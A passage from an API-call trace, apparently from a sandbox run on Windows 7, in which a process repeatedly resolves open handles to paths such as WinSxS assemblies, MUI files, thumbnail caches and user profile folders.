lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0083.409] CloseHandle (hObject=0x128) returned 1 [0083.409] GetFileType (hFile=0x120) returned 0x1 [0083.410] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0083.411] CloseHandle (hObject=0x120) returned 1 [0083.411] GetFileType (hFile=0x128) returned 0x1 [0083.411] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0083.413] CloseHandle (hObject=0x128) returned 1 [0083.413] GetFileType (hFile=0x120) returned 0x0 [0083.413] CloseHandle (hObject=0x120) returned 1 [0083.413] GetFileType (hFile=0x128) returned 0x1 [0083.413] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.415] CloseHandle (hObject=0x128) returned 1 [0083.415] GetFileType (hFile=0x120) returned 0x1 [0083.415] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.417] CloseHandle (hObject=0x120) returned 1 [0083.417] GetFileType (hFile=0x128) returned 0x1 [0083.417] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0083.418] CloseHandle (hObject=0x128) returned 1 [0083.418] GetFileType (hFile=0x120) returned 0x1 [0083.419] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0083.420] CloseHandle (hObject=0x120) returned 1 [0083.420] GetFileType (hFile=0x128) returned 0x1 [0083.420] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.421] CloseHandle (hObject=0x128) returned 1 [0083.422] GetFileType (hFile=0x120) returned 0x1 [0083.422] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.423] CloseHandle (hObject=0x120) returned 1 [0083.423] GetFileType (hFile=0x128) returned 0x1 [0083.423] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.425] CloseHandle (hObject=0x128) returned 1 [0083.425] GetFileType (hFile=0x120) returned 0x1 [0083.425] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.426] CloseHandle (hObject=0x120) returned 1 [0083.426] GetFileType (hFile=0x128) returned 0x1 [0083.427] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.428] CloseHandle (hObject=0x128) returned 1 [0083.429] GetFileType (hFile=0x120) returned 0x1 [0083.429] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0083.430] CloseHandle (hObject=0x120) returned 1 [0083.430] GetFileType (hFile=0x128) returned 0x1 [0083.431] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0083.432] CloseHandle (hObject=0x128) returned 1 [0083.432] GetFileType (hFile=0x120) returned 0x1 [0083.432] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0083.433] CloseHandle (hObject=0x120) returned 1 [0083.434] GetFileType (hFile=0x128) returned 0x1 [0083.434] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.435] CloseHandle (hObject=0x128) returned 1 [0083.435] GetFileType (hFile=0x120) returned 0x1 [0083.435] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.437] CloseHandle (hObject=0x120) returned 1 [0083.437] GetFileType (hFile=0x128) returned 0x1 [0083.437] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.438] CloseHandle (hObject=0x128) returned 1 [0083.438] GetFileType (hFile=0x120) returned 0x1 [0083.438] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0083.441] CloseHandle (hObject=0x120) returned 1 [0083.452] GetFileType (hFile=0x128) returned 0x1 [0083.452] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0083.454] CloseHandle (hObject=0x128) returned 1 [0083.454] GetFileType (hFile=0x120) returned 0x1 [0083.454] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.455] CloseHandle (hObject=0x120) returned 1 [0083.456] GetFileType (hFile=0x128) returned 0x1 [0083.456] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0083.458] CloseHandle (hObject=0x128) returned 1 [0083.459] GetFileType (hFile=0x120) returned 0x1 [0083.459] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0083.460] CloseHandle (hObject=0x120) returned 1 [0083.461] GetFileType (hFile=0x128) returned 0x1 [0083.461] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0083.462] CloseHandle (hObject=0x128) returned 1 [0083.463] GetFileType (hFile=0x120) returned 0x1 [0083.463] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0083.465] CloseHandle (hObject=0x120) returned 1 [0083.465] GetFileType (hFile=0x128) returned 0x1 [0083.465] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0083.466] CloseHandle (hObject=0x128) returned 1 [0083.467] GetFileType (hFile=0x120) returned 0x1 [0083.467] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0083.468] CloseHandle (hObject=0x120) returned 1 [0083.468] GetFileType (hFile=0x128) returned 0x1 [0083.468] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0083.470] CloseHandle (hObject=0x128) returned 1 [0083.470] GetFileType (hFile=0x120) returned 0x1 [0083.470] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0083.472] CloseHandle (hObject=0x120) returned 1 [0083.472] GetFileType (hFile=0x128) returned 0x1 [0083.472] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0083.474] CloseHandle (hObject=0x128) returned 1 [0083.474] GetFileType (hFile=0x120) returned 0x1 [0083.474] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0083.475] CloseHandle (hObject=0x120) returned 1 [0083.475] GetFileType (hFile=0x128) returned 0x1 [0083.476] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0083.477] CloseHandle (hObject=0x128) returned 1 [0083.478] GetFileType (hFile=0x120) returned 0x1 [0083.478] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0083.479] CloseHandle (hObject=0x120) returned 1 [0083.479] GetFileType (hFile=0x128) returned 0x1 [0083.479] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0083.481] CloseHandle (hObject=0x128) returned 1 [0083.481] GetFileType (hFile=0x120) returned 0x1 [0083.481] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0083.483] CloseHandle (hObject=0x120) returned 1 [0083.483] GetFileType (hFile=0x128) returned 0x1 [0083.484] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0083.486] CloseHandle (hObject=0x128) returned 1 [0083.486] GetFileType (hFile=0x120) returned 0x1 [0083.486] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0083.608] CloseHandle (hObject=0x120) returned 1 [0083.608] GetFileType (hFile=0x128) returned 0x1 [0083.608] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0083.610] CloseHandle (hObject=0x128) returned 1 [0083.610] GetFileType (hFile=0x120) returned 0x1 [0083.610] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0083.612] CloseHandle (hObject=0x120) returned 1 [0083.612] GetFileType (hFile=0x128) returned 0x1 [0083.612] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0083.615] CloseHandle (hObject=0x128) returned 1 [0083.615] GetFileType (hFile=0x120) returned 0x1 [0083.615] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0083.617] CloseHandle (hObject=0x120) returned 1 [0083.617] GetFileType (hFile=0x128) returned 0x1 [0083.617] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0083.620] CloseHandle (hObject=0x128) returned 1 [0083.620] GetFileType (hFile=0x120) returned 0x1 [0083.620] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0083.622] CloseHandle (hObject=0x120) returned 1 [0083.622] GetFileType (hFile=0x128) returned 0x1 [0083.622] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0083.624] CloseHandle (hObject=0x128) returned 1 [0083.624] GetFileType (hFile=0x120) returned 0x1 [0083.624] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0083.626] CloseHandle (hObject=0x120) returned 1 [0083.626] GetFileType (hFile=0x128) returned 0x1 [0083.626] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0083.628] CloseHandle (hObject=0x128) returned 1 [0083.628] GetFileType (hFile=0x120) returned 0x1 [0083.628] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0083.630] CloseHandle (hObject=0x120) returned 1 [0083.630] GetFileType (hFile=0x128) returned 0x1 [0083.630] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.631] CloseHandle (hObject=0x128) returned 1 [0083.632] GetFileType (hFile=0x120) returned 0x1 [0083.632] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.633] CloseHandle (hObject=0x120) returned 1 [0083.633] GetFileType (hFile=0x128) returned 0x1 [0083.634] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0083.635] CloseHandle (hObject=0x128) returned 1 [0083.636] GetFileType (hFile=0x120) returned 0x1 [0083.636] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0083.637] CloseHandle (hObject=0x120) returned 1 [0083.638] GetFileType (hFile=0x128) returned 0x1 [0083.638] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0083.640] CloseHandle (hObject=0x128) returned 1 [0083.640] GetFileType (hFile=0x120) returned 0x1 [0083.640] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0083.642] CloseHandle (hObject=0x120) returned 1 [0083.642] GetFileType (hFile=0x128) returned 0x1 [0083.642] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.644] CloseHandle (hObject=0x128) returned 1 [0083.722] GetFileType (hFile=0x120) returned 0x1 [0083.722] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0083.725] CloseHandle (hObject=0x120) returned 1 [0083.725] GetFileType (hFile=0x128) returned 0x1 [0083.725] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0083.727] CloseHandle (hObject=0x128) returned 1 [0083.727] GetFileType (hFile=0x120) returned 0x1 [0083.727] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0083.729] CloseHandle (hObject=0x120) returned 1 [0083.730] GetFileType (hFile=0x128) returned 0x1 [0083.730] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0083.732] CloseHandle (hObject=0x128) returned 1 [0083.732] GetFileType (hFile=0x120) returned 0x1 [0083.732] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0083.734] CloseHandle (hObject=0x120) returned 1 [0083.734] GetFileType (hFile=0x128) returned 0x1 [0083.734] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0083.736] CloseHandle (hObject=0x128) returned 1 [0083.737] GetFileType (hFile=0x120) returned 0x1 [0083.737] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0083.739] CloseHandle (hObject=0x120) returned 1 [0083.739] GetFileType (hFile=0x128) returned 0x1 [0083.739] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0083.742] CloseHandle (hObject=0x128) returned 1 [0083.742] GetFileType (hFile=0x120) returned 0x1 [0083.742] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0083.744] CloseHandle (hObject=0x120) returned 1 [0083.744] GetFileType (hFile=0x128) returned 0x0 [0083.744] CloseHandle (hObject=0x128) returned 1 [0083.744] GetFileType (hFile=0x120) returned 0x1 [0083.744] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.746] CloseHandle (hObject=0x120) returned 1 [0083.746] GetFileType (hFile=0x128) returned 0x1 [0083.746] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0083.748] CloseHandle (hObject=0x128) returned 1 [0083.748] GetFileType (hFile=0x120) returned 0x1 [0083.748] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0083.750] CloseHandle (hObject=0x120) returned 1 [0083.750] GetFileType (hFile=0x128) returned 0x1 [0083.750] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.751] CloseHandle (hObject=0x128) returned 1 [0083.752] GetFileType (hFile=0x120) returned 0x1 [0083.752] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0083.804] CloseHandle (hObject=0x120) returned 1 [0083.805] GetFileType (hFile=0x128) returned 0x1 [0083.805] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0083.811] CloseHandle (hObject=0x128) returned 1 [0083.811] GetFileType (hFile=0x120) returned 0x1 [0083.811] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0083.813] CloseHandle (hObject=0x120) returned 1 [0083.814] GetFileType (hFile=0x128) returned 0x0 [0083.814] CloseHandle (hObject=0x128) returned 1 [0083.814] GetFileType (hFile=0x120) returned 0x1 [0083.814] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0083.816] CloseHandle (hObject=0x120) returned 1 [0083.816] GetFileType (hFile=0x128) returned 0x1 [0083.816] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0083.818] CloseHandle (hObject=0x128) returned 1 [0083.818] GetFileType (hFile=0x120) returned 0x1 [0083.818] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.820] CloseHandle (hObject=0x120) returned 1 [0083.820] GetFileType (hFile=0x128) returned 0x1 [0083.820] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: 